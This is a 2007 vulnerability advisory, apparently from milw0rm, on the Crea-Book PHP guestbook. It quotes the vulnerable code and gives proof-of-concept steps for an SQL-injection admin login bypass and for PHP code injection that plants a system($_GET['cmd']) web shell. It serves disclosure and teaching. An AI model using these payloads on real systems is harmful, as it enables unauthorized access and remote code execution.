/=======================================\
| Advisory :: Crea-Book <= 1.0 |
+=======================================+---------------------------------------------------------------\
| |
| Download link : http://www.comscripts.com/scripts/php.creabook.1359.html |
| Type : Guestbook |
| Vuln. found : Admin Access Bypass, DB information Disclosure & Code Execution Weakness |
| Conditions : magic_quotes_gpc = Off |
| Risk level : High |
| |
+-------------------------------------------------------------------------------------------------------+
| |
| Program audited by : Xst3nZ <xst3nz@gmail.com> [fr/en] |
| Date : 2007-04-10 |
| Last update : 2007-04-10 |
| |
+-------------------------------------------------------------------------------------------------------+
| Summary : 0] Description |
| 1] Vuln#1 : Administrative Access Bypass using basic SQL injection |
| 2] Vuln#2 : PHP Code Execution Weakness |
| 3] Links & Documentation |
\-------------------------------------------------------------------------------------------------------/
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<0> DESCRIPTION
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This script is old but analysing it is a good way to understand some classic security holes in web
applications. It's just a good and fast training.
Let's g0 ...
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<1> VULNERABILITY #1 : ADMINISTRATIVE ACCESS BYPASS USING BASIC SQL INJECTION
{ Concerned file : admin/admin.php }
{ Cond: magic_quotes_gpc=Off }
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If we open the file 'admin/admin.php', we can see that the following code is executed after the submission of
the login authentification form :
+--------8<--------
| // [...] line 8
| $sql="Select * from $table2 where pseudo='$pseudo' and passe='$passe'";
| // By the way, we can notice that the script works only if register_globals=On
| $res=mysql_query($sql);
| $nb=mysql_num_rows($res);
| if ($nb>0)
| {
| // Login OK [...]
| }
| else
| header("Location: index.php?erreur=2");
| // line 208 (EOF)
+--------8<--------
In fact, the variables called $pseudo and $passe aren't sanitized and so, it is possible to bypass easily the
authentification by using a basic SQL injection (see [1]). Nevertheless, single quotes must be used in this injection.
Therefore, the magic_quote_gpc parameter must be disabled (Off) in the php.ini configuration file.
+---->> Vuln. #1 Pro0f of Concept <<--------
|
| - Go to : http://www.victim.com/[install_directory]/admin/admin.php
| - Type the following string in the two fields :
| | Pseudo (login) : evil
| | Mot de passe (password) : 1' OR '1'='1
| - If magic_quotes_gpc=Off, you are now logged as admin. So, you have access to the control panel.
| - Let's go to the section called 'Configurer le script' (configure the script). In this page, you can see
| all the different informations required to connect to the MySQL server (DataBase Information Disclosure)
|
+-------------------------------------------//
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<2> VULNERABILITY #2 : PHP CODE EXECUTION WEAKNESS
{ Concerned file : admin/configurer2.php }
{ Cond: magic_quotes_gpc=Off, admin access OK }
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The file 'admin/configurer2.php', which is used when the configuration form is submitted, contains the following
code :
+--------8<--------
| // [...] line 95
| $fichier = fopen("../config.inc.php3","w+") OR die ("...");;
| fwrite($fichier, "<?php\n") or die ("...");
| fwrite($fichier, "// Infos de connexion à la base de données\n\n$");
| fwrite($fichier, "bddserver = \"$bddserver\";\n$");
| // [...]
| fwrite($fichier, "mess_fin = \"$mess_fin\";\n");
| fwrite($fichier, "?>");
| fclose($fichier);
| // line 125
+--------8<--------
So, all the information which are typed in the form are written in a PHP file called 'config.inc.php3' without
any verification before. Consequently, a malicious person which have an admin access (easy with the vuln #1) can put
what she wants in the file in question (only if magic_quotes_gpc=Off because double quotes are used). Let's
see an example in the next PoC :
+---->> Vuln. #2 Pro0f of Concept <<--------
|
| - Log in as admin on 'admin/admin.php' (see Vuln. #1 PoC).
| - Go to 'admin/configurer.php'.
| - Type the following string in one of the fields : value"; [Malicious PHP code]; $nothing="
| Example with the fields 'Fond de la page' (background color) : #FFFFFF"; system($_GET['cmd']); $nothing="
| that gives : $fond = "#FFFFFF"; system($_GET['cmd']); $nothing="";
|
+-------------------------------------------//
Note : the file 'install/index.php' isn't deleted after the installation and it contains the same configuration
form. But, database information (login, password, DB name, server name) are required to write data into the PHP file...
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<3> LINKS & DOCUMENTATION
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[1] SQL injection Attacks by Example (good)
http://www.unixwiz.net/techtips/sql-injection.html
// [EOF] Xst3nZ
# milw0rm.com [2007-04-10]
